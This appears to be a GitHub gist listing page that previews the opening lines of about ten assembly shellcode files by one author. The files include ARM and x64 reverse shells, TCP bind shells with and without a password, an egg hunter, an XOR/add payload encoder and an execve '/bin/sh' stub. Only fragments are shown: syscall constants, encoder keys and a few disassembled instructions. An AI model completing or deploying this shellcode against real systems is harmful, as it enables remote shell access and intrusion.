🤖
- GitHub Staff
- linkedin.com/in/alanvivona
- @syscall59
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Password-Protected Reverse Shell Linux/ARMv6 | |
// Author: Alan Vivona | |
// medium.syscall59.com | |
// @syscall59 | |
.section .text | |
.global _start | |
_start: | |
.arm |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global _start | |
section .text | |
syscalls.access equ 0x15 | |
EFAULT.lowerbyte equ 0xf2 | |
egg_plus_one equ 0x90909091 | |
_start: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global _start | |
segment .data | |
keys.xor1 equ 0x29 | |
keys.add1 equ 0xff | |
keys.xor2 equ 0x50 | |
keys.add2 equ 0x05 | |
payload.len equ 74 ; this can't be over 127 bytes otherwise it will produce nullbytes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; EXECVE | |
; RDX = 0x00 | |
; RSI = 0x00 | |
; RDI = address of '//bin/sh', 0x00 (the extra slash is just for rounding to 8 bytes) | |
section .text | |
global _start | |
_start: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; ================================================= | |
; Password protected x64 TCP Reverse Shell | |
; Author: Alan Vivona | |
; ================================================= | |
global _start | |
; Syscall numbers | |
syscalls.socket equ 0x29 | |
syscalls.bind equ 0x31 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; ================================================= | |
; TCP Bind Shell with Auth | |
; ================================================= | |
global _start | |
; Syscall numbers | |
syscalls.socket equ 0x29 | |
syscalls.bind equ 0x31 | |
syscalls.listen equ 0x32 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; ================================================= | |
; TCP Bind Shell | |
; ================================================= | |
global _start | |
; Syscall numbers | |
syscalls.socket equ 0x29 | |
syscalls.bind equ 0x31 | |
syscalls.listen equ 0x32 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global _start | |
section .text | |
keys.xor1 equ 0x29 | |
keys.add1 equ 0xff | |
keys.xor2 equ 0x50 | |
keys.add2 equ 0x05 | |
; xanax encoded payload |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global _start | |
segment .data | |
keys.xor1 equ 0x29 | |
keys.add1 equ 0xff | |
keys.xor2 equ 0x50 | |
keys.add2 equ 0x05 | |
payload.len equ 74 ; this can't be over 127 bytes otherwise it will produce nullbytes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0x00 4831f6 xor rsi, rsi | |
0x03 48f7e6 mul rsi | |
0x06 ffc6 inc esi | |
0x08 6a02 push 2 ; 2 | |
0x0a 5f pop rdi | |
0x0b b029 mov al, 0x29 ; ')' ; 41 | |
0x0d 0f05 syscall |
NewerOlder